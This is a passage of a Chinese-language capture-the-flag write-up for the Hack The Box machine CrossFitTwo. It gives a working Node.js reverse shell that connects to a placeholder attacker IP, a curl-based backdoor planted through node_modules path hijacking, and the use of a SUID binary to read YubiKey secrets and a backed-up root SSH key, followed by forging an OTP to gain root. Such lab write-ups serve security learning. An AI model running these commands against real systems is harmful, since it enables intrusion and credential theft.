nodejs加载自定义模块时,会在当前目录的node_modules目录下引用对应目录名称的模块,如果没有则继续向当前目录的父目录查找node_modules

我们可以利用这一点,在/opt/sysadmin目录下创建node_modules/log-to-file目录(/opt/sysadmin子目录不具备写权限),将修改过的带有rev shelllog-to-file模块放在该目录,这样/opt/sysadmin/server/statbot/statbot.js加载log-to-file时就能得到rev shell

本地保存以下JS文件,运行python3 -m http.server 80nc -lnvp 4242

1
2
3
4
5
6
7
8
9
10
11
12
13
// rev.js
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(4242, "YOUR_IP", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();

在目标主机执行以下脚本

1
2
3
4
5

#!/bin/sh
mkdir /opt/sysadmin/node_modules && cd /opt/sysadmin/node_modules
cp -r /usr/local/lib/node_modules/log-to-file . && cd log-to-file
curl 'http://YOUR_IP/rev.js' >> app.js

过一会得到shell,用户为john

1
2
3
4
5
$ nc -lnvp 4242
listening on [any] 4242 ...
connect to [YOUR_IP] from (UNKNOWN) [10.10.10.232] 26296
id
uid=1005(john) gid=1005(john) groups=1005(john), 20(staff), 1003(sysadmins)

提权-Root

john属于staff组,让我们看看该用户组拥有哪些文件

1
2
3
4
5
6
7
crossfit2$ find / -group staff -exec ls -ld {} \; 2>/dev/null
-rwsr-s--- 1 root staff 9024 Jan 5 13:04 /usr/local/bin/log
crossfit2$ /usr/local/bin/log

* LogReader v0.1

[*] Usage: /usr/local/bin/log <log file to read>

/usr/local/bin/log设置有SUID位,尝试几个路径都是提示"[-] Log file not found!",下载/usr/local/bin/log到本地分析

/images/HTB-CrossFitTwo-Machine/Untitled%208.png

/usr/local/bin/log调用了unveil函数将可读取的目录限定在/var及其子目录下,需要在/var目录范围内读取有价值的文件

/var目录下发现/var/db/yubikey。通过OpenBSD Yubikey Authentication的例子,在/var/db/yubikey目录找到3个文件:root.ctrroot.keyroot.uid

1
2
3
4
5
6
crossfit2$ /usr/local/bin/log /var/db/yubikey/root.ctr
985090
crossfit2$ /usr/local/bin/log /var/db/yubikey/root.key
6bf9a26475388ce998988b67eaa2ea87
crossfit2$ /usr/local/bin/log /var/db/yubikey/root.uid
a4ce1128bde4

Google关键字"OpenBSD backup",找到changelist manual/etc/changelist包含要备份的文件列表,而/root/.ssh/id_rsa包含在/etc/changelist

1
2
crossfit2$ cat /etc/changelist | grep id_rsa
/root/.ssh/id_rsa

手册中给出了备份的示例,名为/etc/shells的文件会备份到/var/backups/etc_shells.current,所以我们可以用/usr/local/bin/log读取路径/var/backups/root_.ssh_id_rsa.current得到id_rsa

由于目标配置了yubikeyOTA 2FA,除了id_rsa认证,还需要用root.ctrroot.keyroot.uid生成的OTP作为密码进行二次认证。生成OTP可使用yubico-c

1
2
3
4
# 命令来自https://raidforums.com/Thread-Free-Flag-Crossfittwo?highlight=CrossFitTwo#:~:text=./ykgenerate%20cat%20root.key%C2%A0%20cat%20root.uid%C2%A0%20%24(printf%20%22%2506x%22%20%24(expr%20%24(cat%20root.ctr)%20%2B%201)%20%7C%20sed%20%27s/..%24//g%27)%20c0a8%2000%20%24(printf%20%22%2506x%22%20%24(expr%20%24(cat%20root.ctr)%20%2B%201)%20%7C%20sed%20%27s/%5E....//g%27)
$ ./ykgenerate $(cat root.key) $(cat root.uid) $(printf "%06x" $(expr $(cat root.ctr) + 1) | sed 's/..$//g') c0a8 00 $(printf "%06x" $(expr $(cat root.ctr) + 1) | sed 's/^....//g')
cvdhgrcdcgchuuuujrnnftibvththecb
$ echo $(expr $(cat ../root.ctr) + 1) | tee ../root.ctr

使用id_rsa和上面命令生成的OTP,以root用户登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ssh root@crossfit.htb -i id_rsa
root@crossfit.htb's password: cvdhgrcdcgchuuuujrnnftibvththecb
OpenBSD 6.8 (GENERIC.MP) #4: Mon Jan 11 10:35:56 MST 2021

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code. With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

crossfit2# id
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)

说明

依靠@xFrankyCrossFitTwo Writeup完成的部分:

  • 通过socket.io获取davidSSH凭证的方法
  • id_rsa所在路径:/var/backups/root_.ssh_id_rsa.current
  • 生成OTP的工具&命令

关于/var/backups/root_.ssh_id_rsa.current,是已知该路径后,再试图还原是如何发现它的

附加

password-reset.php生成密码重置URL与验证DNS逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$dns = dns_get_record($host, DNS_A);
if(!is_array($dns) || count($dns) < 1 || !array_key_exists('ip', $dns[0]) || $dns[0]['ip'] !== '127.0.0.1')
{
echo '<div class="alert alert-danger alert-dismissible fade show" role="alert">Only local hosts are allowed.<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button></div>';
}
else
{
$link = "http://$host/password-reset.php?token=$token";
// Send the link via email (not really)
$sqlitedb = new PDO('sqlite:/db/urls.db');
$sqlitedb -> setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$stmt_h = $sqlitedb->prepare('INSERT INTO urls(url) values (:val_1)');
$stmt_h->bindParam(':val_1', $link);
$stmt_h->execute();
echo '<div class="alert alert-success alert-dismissible fade show" role="alert">Reset link sent, please check your email.<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button></div>';
}

参考

Crossfittwo | RaidForums

relayd(8) - OpenBSD manual pages

Unbound by NLnet Labs - Unbound documentation

unbound.conf(5) - OpenBSD manual pages

OpenBSD Yubikey Authentication

changelist(5) - OpenBSD manual pages

yubico-c